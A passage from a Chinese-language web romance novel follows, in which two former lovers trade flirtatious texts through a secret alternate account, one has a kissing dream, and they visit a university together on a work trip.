呆怔了半响的沈垣之目光触及到瓶身上的小字时,整个人嘭的一下红了个透,沈垣之没注意到,身后的席殃也罕见地哑了声。
没等男服务员说完,沈垣之顶着一张大红脸,默不作声立马扭头就往房内走。
在进入卧室前,他听见席殃平静地说了声:“谢谢。”
门很快被关上了。
声音比以往任何一次都重。
——
沈垣之一头扎进了被子里。
脸上的余热未散,后背刚触到的温度也像火似的灼着他,心像是要跳出来般一刻不停地撞击着他的胸腔,喉结一滚,沈垣之轻轻攥紧了被子。
白皙的指节连同着藏在被子里的耳朵一起渐渐变红,沈垣之没了以往的淡定,混乱如麻的脑海里全是那瓶不该出现的东西。
他是gay。
gay了好些年。
知道那瓶是什么。
以前和席殃在一起时,也不是没想过这档子事,尤其是被亲到失神,而席殃连口气都不喘时,他就对自己的定位非常清晰了。
那种片子他偷偷看过,沈垣之很不喜欢,但只要换上席殃,他就什么都能接受。
两人在一起的时候总亲来亲去,擦枪走火的时候并不少,沈垣之不仅不怕,而且爱撩,脑子乱七八糟的时候,什么羞耻都不顾了。
譬如,偷偷买这个。
当时在出租屋里沈垣之从书包里掏出这个来,前一天为了凉快,理了个寸头外表看起来很凶很酷的席殃,看到这个,呼吸一下就沉了。
沈垣之被看的有些害羞,他刚想说些什么,还没开口,就被席殃压在床上亲了个透,情到浓时,稀里糊涂的沈垣之被揉了屁/股。
很重,揉的他呼吸都变了。
沈垣之想要席殃想的要死,这会儿也不知羞的指了指那瓶东西,凑到席殃耳边说了句什么。
席殃脸一下就红了。
沈垣之哪里见过他这副模样,平时都是他被欺负,席殃无动于衷,此时的席殃像是被狠狠调戏了,眼睛不知往哪放,呼吸都凌乱着,手却不受控制地还揉着他。
最后两人还是没有做到最后,席殃太能忍了,这不行那不行,说他还没全面系统的学过,说再等等,说你太小了。
沈垣之一听,以为席殃嫌他年纪小,于是很不开心,非要缠着席殃问他哪小。
席殃眼眸一沉,轻轻揉了一下他屁/股,沈垣之立马心领神会臊红了脸,可席殃不放过他,声音很低很哑:“你这么怕疼,弄疼了怎么办。”
沈垣之觉得他说的有道理,而且总不可能在席殃面前自己弄,一想到那个场景,他立马害羞的从席殃身上爬了下来。
席殃没让他走远,凑过去安抚的亲了亲他,还罕见地说:“宝宝乖,喜欢宝宝。”
沈垣之一下就老实了。
但席殃那副臊红了脸,罕见的纯情模样让
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沈垣之狼性大发,一晚上大吃特吃,第二天腮帮子都还酸着。
思绪回笼。
沈垣之盯着天花板努力回想席殃刚刚的表情,他背对着他,很难看清当时席殃是什么表情,但他感觉到席殃呼吸没变,最后那句“谢谢”也很平静。
脑海里兀自回想起黎总在上次聚餐时说的那句话,外国人在感情上很奔放,又想起席殃不仅学会抽烟了,穿着打扮还非常露骨。
心猛地一沉,沈垣之呼吸微凝。
没等他坐直身来,放在身旁的手机突然震了一下。
沈垣之下意识点开了微信,他冷着脸想,刚刚发生了这么乌龙的事,大概率是席殃发过来的。
目光落至毫无动静的那个头像,沈垣之脸色瞬间一变,刚想生气时,手机突然又震了一下。
【未知信息:怎么不说话。】
沈垣之:“……”
席殃确实发了消息,但居然是发给他的马甲。沈垣之一哽,难道不应该是先和他本尊好好解释吗?和他马甲有什么好说的。
莫名感觉自己头顶上多了几缕绿。
沈垣之气的一下坐了起来,咬牙切齿地点了进去。
之前发的消息全部显示已读,在席殃发的【你看过我的身体?】下方又多了两条消息。
【未知信息:?】
【未知信息:怎么不说话。】
都是刚刚发的。
沈垣之眼眸一沉,心想好你个席殃,喊几句哥哥而已就能吸引你的注意,难怪刚刚拿那啥都能毫无心理负担,不知道这些年在国外都干了些什么。
眼眸一沉,沈垣之心里那股恶意又席卷而来,一开始他本就是故意骚扰席殃,最好钓上他,然后玩弄他后最后扔下他。
这下好不容易上钩了,不正是合他意。
虽是这样想,但心里却渐渐涌起一顿酸楚,沈垣之眼睫一扫,很快将这股异样的情绪压了下去。
正当他绞尽脑汁想理由时,席殃又发来了消息过来。
【未知信息:你是不是在健身房见过我。】
【未知信息:缘和。】
席殃说了个类似健身房的名字。
沈垣之手一顿,盯着屏幕渐渐冷静了下来,他眉头微皱,也不知是不是他的错觉,从席殃字里行间中,他品出了几分不该有的试探。
真有这个健身房吗。
心一动,沈垣之点开了系统自带的地图。
他很快在地图上找到了自家小区,怀着几分不确定的想法,目光最后落在了缘和健身房上。
沈垣之点了进去。
上面显示健身房正常营业,并不是胡诌的,而且席殃一身肌肉练的很好,经常去健身房也不奇怪。
有人在健身房里找他要微信更不奇怪。
沈垣之唇狠狠一抿,将手机放下,虽然逻辑都能圆回来,但他还是留了个心眼,也存了几分报复心理,学着席殃一样,只读不回。
没想到,席殃又发消息过来了。
【未知信息:你经常这样和人这样聊天吗?】
沈垣之正火着,一看到这句话,火气“蹭”的一下冒了出来。
【哪样?】
不出两秒,席殃再次发来消息。
【喊我哥哥。】
怒气一下就被戳破了,沈垣之耳尖猛地一红,心想这算什么,正冷着脸准备发点更过分的过去时,手机又震动了一下。
【未知信息:我前任也经常这样喊我。】
沈垣之:“……”
21. 第 21 章
沈垣之将手机扔的老远。
暖黄灯光下那张白皙的脸多了几分微红,连耳尖都几乎红透了,纯纯是被气的。
这完完全全是污蔑,是诽谤!
人心隔肚皮,沈垣之从没想到席殃背地里竟然会是这个样子,完全就是睁着眼说瞎话,以前他俩在一起的时候,沈垣之只是偶尔被亲晕了才会含糊着喊一两声。
压根就不是经常。
沈垣之冷着脸磨了一下牙,片刻后,一个不确定的想法渐渐浮现在脑海里。
如果席殃嘴里说的前任不是他呢?
虽然他口口声声说没和其他人交往过,但他俩分开了这么久,实际情况是怎么样,沈垣之一概不知。
这样想着,抱着连自己都说不清的想法,沈垣之冷着脸,光脚下了床怒气冲冲地将手机重新拿了回来。
目光停留在那句【我前任也经常这样喊我】上,沉默片刻,沈垣之嘴一撇,木着脸开始打字。
【是吗?那你前任嘴真甜。】
【是外国人吧,我听说外国人都是什么sweet honey。】
发完消息后,沈垣之将手机藏在了枕头底下。
心跳渐渐加速着,直到随着手机震动而几乎跳到了嗓子眼,沉默片刻后,沈垣之面不改色地摸出了手机。
打开短信的那一秒,沈垣之冷着脸想,要是席殃说是,他就……
眼眸一沉,沈垣之盯着手机屏幕,心也跟着沉了下来,没等他想好,手机又震动了一下。
沈垣之抿紧唇,点了进去。
【嗯,很甜。】
沈垣之眼眸沉了沉。
【不是外国人,G市人。】
目光落在这条短信上,沈垣之轻轻松了口气,意识到自己反应过激,他很快若无其事地抿了下唇,打字试探道。
【G市人都很甜。】
【我也经常这样叫我前任。】
消息刚发出,席殃像是等候已久,立马就回了消息。
【好巧。】
沈垣之眼眸一冷,喉结受阻似的重重一滚,一波刚平一波又起,心想好你个席殃,大半夜不睡觉和陌生男人聊天,竟然还聊的你来我往上了。
指节因震怒而轻轻发着颤,沈垣之嘴紧紧的抿成一条直线,好不容易压抑着的火气又“噌噌噌”往外冒。
忍着将人拉黑的想法,沈垣之缓了很长一口气才堪堪平息下情绪,盯着屏幕眼眸一冷,唇边勾起没什么情绪的一抹笑,随后生硬地打起了字。
【不过我觉得你的前任肯定比我前任好。】
将消息发过去之后,对方很快回了消息过来。
【?】
盯着屏幕,沈垣之轻轻磨了一下牙。
【我前任不行。】
发完之后,沈垣之还录制了一个苹果自带的短信表情包过去,屏幕里的一只小猫正在唉声叹气。
消息显示已读后,憋屈了一晚的沈垣之终于出了口恶气。切了手机后台,沈垣之调整好情绪,点开了微信。
微信消息很多,多半是工作上的事,一一回复后,沈垣之的指节停在了黎炫的聊天框上。
点了进去。
黎炫罕见地查看了他发过去的日报,问他今天和廖教授联系的怎么样,沈垣之如实说了,黎炫倒是不惊讶,问他和席殃之后打算怎么安排。
沈垣之大概说了明天的安排,黎炫发了个【ok】就终止了交谈。
点开了开心消消乐,玩了几把后觉得没什么意思的沈垣之抿着唇又切到了短信界面。
席殃没再回他了。
生气了?
睫毛轻轻一扫,沈垣之沉默着,呼吸放轻了些。
默不作声将微烫的手机藏在了枕头下,沈垣之后知后觉自己说的有点过分,但转念一想,席殃刚刚不也乱说他了。
他凭什么生气。
思考片刻后,沈垣之唇轻轻一撇,很不经意地从枕头下摸出了手机。不知道抱着怎样的心理,他翻了一下身,有些犹豫地打字道。
【怎么又不理我了?】
消息一发出去,对方很快回了消息。
【我怀疑我前任也会这样说我。】
沈垣之立马做贼心虚地从床上弹了起来,下意识往门口看了一眼。
没等他回复,席殃学他一样发了苹果短信自带的表情包过来。
一只垂头丧气的小狐狸。
沈垣之目光一怔,脑海里浮现出席殃轻轻抿着唇的模样,心一紧,唇也跟着轻轻抿了一下。
【不会的。】
【你身材那么好。】
发完之后,脑海里又冒出席殃半裸的身材,沈垣之心一动,喉结也渴似的重重一滚,白皙的小腿肚轻轻在被子上蹭了一下。
【很漂亮。】
消息刚发出去,对面就发了消息过来。
【谢谢。】
沈垣之眼眸一凝,席殃刚刚才和他态度有所改善,眼看着又客气上了,沈垣之轻轻磨了一下牙,没等他想好怎么回复,对面突然发了张照片过来。
是一张俯视图。
屏幕中间男人的身材十分惹眼,拍照片的人像是很少拍照,照片呈微微倾斜的趋势,但黑暗下光线暧昧,身后的暖光透过一层薄薄的黑色衬衣。
若有若无,勾勒出男人健硕的腰身。
沈垣之眼眸渐渐放大,呼吸猛然一怔,目不转睛地盯着屏幕看,喉结滚动,他从床上猛地坐了起来。
【可能是我练的不够好吧。】
【他从没夸过我。】
——
深更半夜,沈垣之干瞪着眼盯着天花板,还没睡着。
脑海里全是席殃那张图,以及席殃最后那几句话,什么叫他没夸过席殃,而且为什么大半夜给陌生男人发照片?!
这不是在故意勾引?
沈垣之越想越气,他看了眼手机时间,翻来覆去几次后,实在是毫无睡意的沈垣之起身将一旁的安神香点燃了。
轻盈的香味扑鼻,沈垣之怀着满腔怒火,很快在迷迷糊糊中睡了过去。
今晚发生了太多事,先是坐了好几个小时的飞机,又在飞机上遇到气流颠簸,时时刻刻要在席殃面前保持形象,沈垣之睡得比以往任何一次都要沉。
但睡得太过突然,沈垣之连门和窗都没来得及关。
H市的夜晚仍有些凉意,呼吸灯在房间里兢兢业业地亮着,不远处的飘窗偶尔被风卷起,再轻轻
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柔柔的飘了进来。
熟睡后的沈垣之和白天利落的形象简直千差万别,真丝布料被滚上了肚脐以上,睡衣短裤也向上蹭着,薄薄的一片人几乎陷在了被窝里,他睡得很沉,半梦半醒间似乎还做了一个梦。
梦里毫不意外地出现了席殃。
在和现实同样的酒店,甚至是在同样一个房间,席殃站在他床边,一声不吭地似乎看他很久了。
沈垣之有些惊讶,朝他茫然地眨眨眼。
片刻后,席殃也笑着对他眨了下眼。
双目对视谁都没说话,沈垣之又盯着他看了好大一会儿,来来回回好几次后,发现席殃一直都在。
沈垣之终于意识到这是在梦里,沉默片刻后,他坐起来很自然地伸手去拉席殃的衣角。
轻轻一扯,席殃就过来了。
“这是梦。”
沈垣之确认道。
梦里的席殃并没有说话,沈垣之松了口气,用手轻轻环住了席殃健硕的腰身,想到不久前席殃说的话,迷迷糊糊的沈垣之很轻地蹭了一下。
“你不让我蹭,我偏蹭。”
蹭完之后抬头见席殃沉默,沈垣之很凶地皱眉,强调道:“这是在我梦里,你得听我的。”
席殃只好朝他轻轻点了点头,像是怕惊醒他。
沈垣之喜欢席殃这副小心翼翼的模样,没有生冷,没有疏离,像对待他如珍宝。
他很快就没了脾气。
“我夸你夸的少了?”
像是想到什么,沈垣之很委屈地撇了一下嘴。
没等席殃说话,双手从腰身渐渐向上,沈垣之盯着席殃那双让他魂牵梦绕的眼睛,随着动作渐渐起身。
直到呼吸交融,直到他自上而下地用眼神一寸寸临摹着席殃的模样。
双目对视,呼吸渐重。
在梦里亲吻也变成了自然而然的事。
席殃的嘴唇很凉,唇形很漂亮,沈垣之的唇很烫,他先是试探的轻轻贴了贴,见席殃没有往后躲,于是像小动物表示喜欢那样,蹭了一下又一下。
乐此不疲地,蹭的席殃笑出了声。
沈垣之一听到席殃的声音就受不了,在席殃扶着他腰要将他放在床上时,沈垣之突然用牙尖很用力的咬了他一下,席殃吃痛的闷哼了声。
舌尖便由此趁虚而入。
双臂绕至脖颈后侧,骨骼分明的手腕在月光下渡了一层粉白的颜色,双臂轻轻用力,将人往下压了压。
盘在腰身的双腿在宽厚的后背处轻轻摩擦着,沈垣之将全身的重力都压在席殃身上,只有嘴唇和舌尖才任由他操控。
灼热的口腔里带着很淡的薄荷香,沈垣之轻喘着,舌尖不老实地勾着人。
梦里的席殃迟钝的厉害,被这样对待也没半点该有的反应,沈垣之挣扎着还想加深这个吻时,放在他身后的大手突然狠抓了一下他的腰。
沈垣之呼吸一乱,小声地惊呼了声“席殃。”
紧接着密密麻麻的吻就落了下来。
唇畔被亲的生疼,沈垣之连喘口气的机会都没有,被亲到几乎要缺氧的时候,他迷糊之间,听见席殃似乎说了句“真的很甜。”
不久后,卧室再次恢复了平静。
23-30
第23章 第 23 章 “哥哥,到底给不给亲。……
小蛋糕最后没吃完。
沈垣之觉得别扭。
至于为什么别扭, 他目前还没琢磨明白,只是潜意识觉得应该离席殃远一些,因此三人在前往停车场的途中, 他寻着接电话的由头落后了几步。
“喂,黎总。”
电话是黎炫打来的,黎炫这几天被他哥逼的紧, 游戏都没怎么打了,要不是他实在晕机严重,这次很大可能会跟他们一起过来。
“嗯。”
语气拖的有些长,黎炫在电话那边情绪不是很高涨:“没什么事就和你随便聊聊, 我哥等会儿要查我通话记录, 怕我不上心。”
他语气一顿:“我这几天都快烦死了。”
在工作之外,沈垣之和黎炫私下关系不错,大学时候还会一起打球,和兄弟们一起吃学校周边的小吃, 工作后的黎炫每天也都是乐呵呵,除了在他哥面前。
那样子就像是耗子见了猫,天生血脉压制, 处处被压了一头。
沈垣之是独生子, 从小家庭关系不和睦, 身边朋友也大多数独生子女, 他看黎家兄弟就跟在动物园里看猴子一样, 觉得有趣。
因此听着听着,沈垣之很不经意地勾了下唇角。
还没等他开口说话,不远处一道视线便很快落了过来,那视线直勾勾地,带着些许探究, 又像是不高兴。
几乎是下意识地,沈垣之立马止住了笑容。
他迟疑地抬头去看,果不其然看见席殃像个木头桩子一样正立在车门旁,微风一吹,抿紧的唇更用力了些。
见沈垣之望过来,他的眼眸更沉了些,本就凌厉的五官在不做表情时更显冷感。
耳尖被手机灼得有些发烫,睫毛向下一扫,沈垣之将手机换了个方向,电话里头黎炫依旧在抱怨,沈垣之偶尔会应了一声,但唇边克制着,没再勾起不合适的笑。
脚步无意识加快了些,对面的席殃丝毫没有收回视线的意思,沈垣之被看的有些莫名其妙,更多的是有些心虚。
仅仅只是过了一晚,席殃那股气场像是藏也不愿意藏了似的,完全没了以前的克制。
沈垣之不解,但对这样的席殃非常受用。
他喉结一滚,借着不远不近的距离,一双眼肆无忌惮地将人上下扫视了一个遍,最后落在那张颇为冷感的脸上,有些不爽的磨了下牙——
怎么站在那都像是在勾引人。
走得更近了些,沈垣之睫毛一垂,压下了不该有的情绪,电话里的黎炫也终于诉完了苦,说出了此行电话的真实目的。
“小师弟,你今天不是要去G大吗,能不能帮我问件事?”
电话声音有些大,沈垣之下意识看了眼席殃。席殃将后车门拉开,看了他一眼后没什么表情地坐了进去。
“什么东西?”沈垣之皱眉。
“你还记得我们之前和医学部打赢的那场篮球联赛吗?”
沈垣之回想了一下,这场比赛大概是在他大二时办的,当时几个学院一起组织了联赛,沈垣之前锋打得一般,但后卫还行,被舍友拉过去和高年级的凑了个数。
凑了一场又一场,没想到最后还真的赢了。
思绪回笼,沈垣之应了声:“记得,怎么了?”
说完,他和冯沅示意后坐上了后座。
等待黎炫说话的空隙,沈垣之下意识看了眼车内镜,旁边那人扭头看向窗外,罕见地只给了他个后脑勺,看不清表情。
沈垣之嘴一抿,莫名地有些想挂电话了。
不过黎炫没给他这个机会,他慢条斯理开口道:“比赛完之后,不是有个咖啡店店主临摹我们的奖牌做成了拉花吗,前段时间我有个哥们也开了家咖啡馆,想和那个店主联系一下。”
沈垣之皱眉:“叫什么?”
“好像是叫星期天。”
黎炫开口道,他停顿了下:“不过前几年G大商业街重新翻修了,我毕业之后也没时间去过,不知道还在不在那。”
说完,他像是怕沈垣之有压力,又笑着宽慰道:“我也是就这么一问,要是你没看见,也别花时间去找,我让那哥们自己去一趟就行。”
沈垣之“哦”了一声,没应下这事,但也没拒绝。
他对G大周围的商业街并不熟悉,大一到大四要不是在食堂,就是在周遭固定的几个餐点,但黎炫私下很少托他办事,如果时间允许,他也不是不能去帮忙找一下。
挂了电话后,冯沅也上了车。
“不好意思,刚刚去抽了根烟。”
沈垣之闻言“嗯”了声,没多说什么,将地址递给司机后,车子很快沿着目的地出发了。
不复之前的氛围,车内有些过于安静了。
坐在前面的冯沅从车内镜偷偷看了后座毫无交流的两人后,他缩了下脖子,老实巴交的坐直了些。
沈垣之在地图上搜了下叫“星期天”的咖啡店,确认了好几遍后也没看见,找寻未果后,慢慢地,整个注意力渐渐跑去了席殃那里。
席殃今天像是对窗外风景产生了极大兴趣,沈垣之隐约只看见他紧抿的唇,不知在想什么,但莫名就是让人觉得他心情不好。
沈垣之眉心一动。
好像每次他和黎炫交流之后,席殃就会这样,以前还会客气一下,顶多是态度会变得冷淡,可今天就是光明正大生气了,扭头不理人的样子就像是……
在吃醋。
这个念头一跑出来,沈垣之自己先吓了一大跳,没等他缓过神来,前面的冯沅突然开口说话了。
“哎,我怎么看这路线越来越熟悉。”
“学长。”
眸间一亮,他变了称呼,难掩雀跃道:“我们这是要去G大吗?”
沈垣之看了眼依旧侧着身的席殃,没刻意纠正他的称呼,不冷不热地“嗯”了声。
说完,他也侧过身去了。
车内再次恢复了安静,沉默片刻后,眼见着席殃铁了心要一路用后脑勺对着他,沈垣之心渐渐沉了下来,沉默片刻后他冷着脸摸出了手机。
点开短信。
早上发的消息全部显示已读。
但就是不回。
当着席殃本人的面,盯着屏幕,沈垣之眼眸渐渐染上了冷意,他盯着车内镜看不到的那张脸,心里有些阴郁地想。
无论什么原因,席殃这副不理他的样子实在是太不讨喜了,昨天明明还故意勾搭他半夜发照片,今天就翻脸不认人了。
对他的马甲号,明明看了消息却不回。
故意钓人胃口。
对他本人更就过分了。
一大早和别的男人一起吃饭就算了,还打扮的这么好看,一想到他刚刚和冯沅笑着聊天的样子,沈垣之呼吸就有些受阻,缓了片刻后,他抿着唇冷脸打字道。
【怎么又不理我。】
目光触到之前的话题,沈垣之眸光一沉。
【哥哥。】
【你到底给不给亲?】
消息刚发出去,旁边立马就震动了几下。
感受到席殃微微一动,反应过来的沈垣之呼吸一怔,后背不受控制地渐渐僵直了些,这还是他第一次在工作期间,在席殃面前,做这样的事。
他刚刚又喊了什么。
回过神来的沈垣之神色一变,顾不上红透的耳尖,低头看了一眼,绯红立马染上了脸庞。
昨天还生气,今天又喊上了?
还在席殃面前。
一想到席殃此刻正在看他发的消息,沈垣之头皮发麻,瞬间紧张的呼吸都快停了。
难以置信地,沈垣之又看了眼。
“沈垣之。”
身侧突然传来席殃略带低哑的声音。
沈垣之闻言眼眸猛地睁大,攥着手机的指节猛地一紧,一颗心几乎像是要跳出来一般,他喉结哑似的一滚,轻轻“嗯?”了一声。
双目对视,沈垣之动作很小的将手机偷偷藏了起来。
席殃将他的小动作尽收眼底。
沈垣之没注意到席殃的眼神,将手机藏好后,见席殃沉默太久,他抿了下唇,声音很镇定,细听时带着颤:“怎么了?”
话刚落音,正坐在副驾驶上睡得迷糊的冯沅茫然地扭过头来。
沈垣之刚想要说话,席殃突然笑了。
眉眼都噙着笑意。
哪里还有之前闷头不说话的样子。
此刻就像是被谁讨好了般。
欢喜得很。
沈垣之盯着他唇边的一抹笑,冷着脸看了一下,又看了一下,看了好几下后,很自然地移开了。
目光渐渐落至席殃那张脸上。
席殃此刻半倚在车窗上,一双深眸自上而下地落在他身上,见他望过来,先是轻轻挑眉,阳光轻轻落下,衬得他很好看。
席殃笑着就是不说话。
沈垣之本就心虚,被这样盯着笑心里就更虚了。
心想别是席殃发现他的马甲了,但仔细想想又觉得不可能,谁家前任能接受白天两人当仇人,背地里又装着无事发生黏黏糊糊的聊骚。
又不是所有人都像他这样。
而且席殃虽然是学坏了有些不正经,但在他心里也不是那么不正经。
毕竟以前亲嘴都要打申请,摸摸蹭蹭都不行的人,哪里能做出这样出格的事。
这样想着,沈垣之很快打消这个疑虑。
思绪回笼,见席殃还笑,沈垣之便很没顾虑地正色道:“席总。”
很凶的语气。
是在警告。
席殃闻言笑得更开心了,眉眼间都噙着笑意,见沈垣之皱眉,他眉间一挑,不紧不慢地收起了笑容:“想问问你今天怎么安排,”
他语气一顿,眼眸一抬,盯着沈垣之,声音又低又沉。
“十点我们先和廖教授……”
说着说着沈垣之一愣。
余光里注意到席殃压根没认真在听,沈垣之眉头轻轻皱了一下,转头看向席殃。
席殃见他望过来,很快收起来笑容,可眼眸里还噙着浓浓的笑意,尤其是那双眼还看着他的嘴唇。
沈垣之下意识抿了一下。
目光瞥到席殃唇边的小伤口,脑海里兀自浮现出昨晚做的梦,他喉结一滚,心里渐渐冒出一个很荒诞的想法,视线有些不自然的移开,他语气一顿,说起了今天的工作内容。
“大概就是这样,席总您看行吗?”
席殃闻言眼眸一沉,那双噙着笑意的双眼划过沈垣之微愣的眉眼,挺直的鼻梁,最后落在那微红的唇上,不紧不慢地“嗯”了声。
沈垣之怀疑他根本就没认真在听。
很烦。
不喜欢他对工作这样无所谓的态度。
沈垣之很快扭过头去了。
扭过头的一瞬间沈垣之好像瞥见他在笑,但不确定,沈垣之眉头皱得更深了。
这实在太莫名其妙了。
沈垣之决定不再深究下去,他试图将注意力放在黎炫交待他的事上,又重新翻了一下地图,目光瞥到坐在前面的冯沅,沈垣之眉头顿时一展。
“小冯。”沈垣之有些犹豫地拍了拍冯沅的肩:“你知道G大附近有个叫‘星期天’的咖啡店吗?”
冯沅摘下耳机,先是欣喜地喊了声“沈哥”,随后又有些茫然道:“星期天?”
“咖啡店?”
沈垣之很轻地“嗯”了声,凭着记忆描述着:“大概是在前几年开的,离学校商业街大概不远,”
他语气一顿,除此之外没什么印象了。
冯沅也跟着回想了一番,随后微微皱了皱眉,有些抱歉道:“我不太喜欢喝咖啡,记得不是很清楚。”
见沈垣之朝他笑笑,冯沅连忙道:“不过这个名字太特殊了,我有点印象。”
“如果我没记错,它应该是在……”
“东街三巷二零一。”
思索之际,一道低沉的男声突然从身旁传来,沈垣之一怔,下意识看向身旁的人。
双目对视,只见席殃罕见地沉默了几秒。
他摩挲着指尖,在沈垣之略带惊讶的视线下,平静地再次开口:“东街三巷二零一。”
他语气一顿,补充道:“‘星野’旁边。”
说到星野,沈垣之脑海里很快浮出本以为早就模糊的场景,那是家酒吧。
有段时间,沈垣之常去。
一开始是想借酒消愁,后来是真的喜欢上了那里的氛围,无人问津,但很热闹。
思绪回笼,沈垣之眼眸一抬,沉沉地向席殃望去。后者没了之前的笑意,气场渐渐沉了下来,像极了刚重逢时那副模样。
那些早歇了火,不敢再想的念头又开始冒了出来,沈垣之唇一动,心不受控制地撞击着胸腔。
“好像还真是……”
沉默之际,坐在副驾驶上的冯沅喃喃道,随后他有些惊讶地亮了下眸:“席总您怎么会知道?”
说完,冯沅愣了一下,随后他有些不确定地看了眼沈垣之,声音很小:“您不是在国外读的大学吗?”
话刚落音,沈垣之莫名地屏住了呼吸。
不知道沉默多久之后,席殃才不紧不慢地开口说道:“是啊。”
沈垣之闻言猛地抬起了头。
双目对视,席殃很快移开了视线。
“前几年回来过一次。”
呼吸一怔,沈垣之头皮渐渐有些发紧,他试图看向席殃,试图在席殃眼眸里找出点什么来。
可席殃没抬眼。
“嗯?”冯沅也有些意外,他诧异道:“我还以为席总您一直在国外呢。”
席殃没说话。
车内突然变得安静下来。
沈垣之后背一僵,顿时有些呼吸不过来。
不久前他曾以另一种形式问席殃在国外生活的如何,也正是因为问过之后,沈垣之才知道之前的试探是假。
席殃当时说,那是他自己的事。
一想到他说这话时疏离的表情,冷淡的语气,沈垣之的心就猛地沉了下来,呼吸间隐隐发着阵痛。
他受不了席殃再说一次,这种毫无留恋将他完全从生活中剥离出来的感觉,沈垣之真的受不了,尽管这次主要对象不是他。
正焦虑随便找个话题带过去时,席殃突然开了口:“没有。”
沈垣之一愣。
他在席殃的视线下有些意外地抬起了头。
席殃不知道看他多久了,见他望过来,停顿片刻后,像是谈论天气好坏那样稀疏平常,缓缓开口道。
“没办法。”
“当时读不下去了。”
他语气一顿,一双深眸沉沉地盯着沈垣之。
“只好回来,找一个解脱。”
——
此话一出,车内突然安静了下来,连一直沉默的司机也惊讶的轻踩了下刹车。
车身微震,沈垣之看见席殃眼眸里那一丝病态很快随之消散,没等他做出反应,席殃平静开口道:“别紧张,开个玩笑而已。”
他语气淡淡的,看向前方,轻笑道:“这上面写的很清楚。”
沈垣之顺着他的视线望去,在车内自带的导航上一眼就看见了星野旁的咖啡店,现在叫April,后面括号里备注着星期天。
原来它改名了,难怪在地图里找不到。
沈垣之说不出心里是什么滋味,他看着熟悉的校园小径,感慨着这一路真短,竟然到了G大他都没反应过来。
欣喜之余又莫名有些失落。
至于为什么失落,沈垣之面无表情想,反正和席殃没什么干系。
因校内实行严格管控,外来车辆只能停在离教学楼栋外的停车场,沈垣之还没好好看一眼母校,就开始投身于工作中,下车前先和廖教授的助理,许助理发了消息。
告诉对方已经到达学校附近。
没想到消息一发,许助说他们也刚到,问具体地址。
沈垣之见状有些犹豫,因会见廖教授本就是在项目计划之外的事,这次安排的行程又急,再加上昨晚约见被拒绝,在对这位廖教授不是很了解的前提下,沈垣之本想着循序渐进。
况且他不是学人文科学的,既对这次讲座内容不够了解,尽管提前恶补过,但完全不能和教授级别的深入探讨。
又因对这位廖教授不了解,沈垣之虽会察言观色但大多时候都是有甲方一定了解后再临场发挥。
“怎么了?”
思虑之际,身旁传来席殃的声音。
沈垣之看了他一眼,没怎么犹豫就将顾虑说了出来。
“没关系,”席殃听完后语气轻了许多,一双眼轻轻落在他身上,像是在安抚:“迟早会碰面的。”
语气太过温柔,沈垣之愣了愣:“那我现在给许助发消息。”
席殃“嗯”了声。
和许助理确认过消息后,几人待在原地没再动,等待期间,沈垣之将所能了解的信息,包括今天的讲座内容又看了个遍。
人文社会。
沈垣之皱眉,什么叫探讨人类第二课题。
理科男看的一头雾水,尝试几遍之后眉头皱得更深了,他这人就这样,从小受父母影响,连预习课本都是最勤快的那个。
每次考前要是没底,就容易焦虑。
而缓解这种压力的方式,沈垣之从小到大用了无数次,那就是啃手指。
将手指甲啃的乱糟糟的,次数多了沈垣之也会觉得有些不好意思,只好将它藏起来,但每次在席殃那住过一晚后,他的指甲就会变得很整洁,虽然短短的。
他问过席殃怎么回事。
席殃说不知道。
沈垣之正准备啃手指时,身旁突然传来一道很轻的低笑声。
“紧张?”
下意识抬头去看。
只见席殃正站在他身前,替他挡住了绝大部分的太阳光,那双眼眸自上而下的看他,也不知道看多久了,慢慢地落在沈垣之还没来及的收回的手上。
身旁全是缓步的大学生们。
他和席殃站在一束三角梅下。
冯沅不知道去了哪里。
广播里传来的背景音是沈垣之熟悉的,身前这人也是最熟悉的,紧张过头的沈垣之有一瞬间觉得自己回到了学校。
他目光微凝,并不承认:“没有。”
说完后他极其自然地将手放了下来。
“只是在考虑怎么从哪方面切入话题,”他语气一顿,皱了皱眉:“和廖教授聊讲座内容很不现实,要是不聊也不知道该说才能快速建立信任关系……”
沈垣之一一分析着,察觉到席殃压根没认真听,他眉头皱紧了些,有些生气。
席殃见他脸颊两侧有些鼓,眉眼间的笑意更深了些。
“你很在意这个项目。”
沈垣之闻言立即皱眉,心想说千里迢迢赶来不然呢。
他正想说话,却发现席殃离得他有些近,呼吸间,甚至能闻到席殃身上那淡淡的男香。
脚步往后一撤,没等沈垣之调整好,席殃突然俯身凑了过来,双目对视,席殃那张脸倏然放大在眼前,沈垣之即刻屏住了呼吸。
他喉结一滚,眼瞳不明所以地颤了颤。
“我……”
“因为我是负责人。”
席殃朝他扫了下睫毛,语气淡淡的,却很肯定。
人来人往的街角,沈垣之一颗心脏都快崩到了嗓子眼儿里,由是这个时候,沈垣之还能空出来脑子来思考席殃这句意味不明的话。
席殃的意思就是,因为他是负责人,所以沈垣之才会对这个项目上心。
简直是瞎说。
对所有工作都一视同仁的沈垣之眸间闪过一丝不易察觉的慌乱,他本想严厉指责席殃这一行为,但没等开口,席殃一只手突然伸了过来。
沈垣之眼眸渐渐放大,呼吸瞬间慌乱了几分。
没等他反应过来,左眼突然传来一阵微凉,像是被谁的手指触碰了般,没反应过来的沈垣之下意识眨了一下眼。
睫毛划过指腹。
席殃眼眸一沉,慢条斯理地将手指移开,最后在沈垣之头顶摘下了一支三角梅。
深红,带着一点紫。
沈垣之愣了一下。
沉默间,沈垣之听见席殃突然笑了声。
人来人往的街头,席殃把玩着手里可怜的小花,双目对视,他语气淡淡地,像是在说花。
“很好看。”
第24章 第 24 章 “看过了,摸过了。”……
心跳如雷鸣般作响。
沈垣之喉结一滚, 他扫了眼席殃,在瞥见后者眼里淡淡的笑意时很快地移开了视线。
背过身,全当没听到。
反正也不一定是在说他。
任凭晨阳携着微风洒在脸上, 沈垣之将唇抿得很紧,被触碰过的眼尾像是还带着指腹间的温度,存在感实在太强。
沈垣之眨了一下, 睫毛扫过眼尾,痒痒的,像是被亲了一样。
沈垣之一愣,他又轻轻的眨了一下。
正自娱自乐时, 身后传来一阵不慌不忙的脚步声, 紧接着身侧像是不经意被人轻轻碰了一下。
眉头轻皱,沈垣之用余光看见了席殃的下巴。
这个角度和昨晚发的那张照片出乎意料的一致,脑海里顿时浮现出席殃那薄薄一层而又明显的腹肌线条。
肩膀被隔着几层布料贴着,呼吸间弥漫着席殃身上那淡淡的男香, 要是时间再倒回十几分钟前,沈垣之一定会敬而远之。
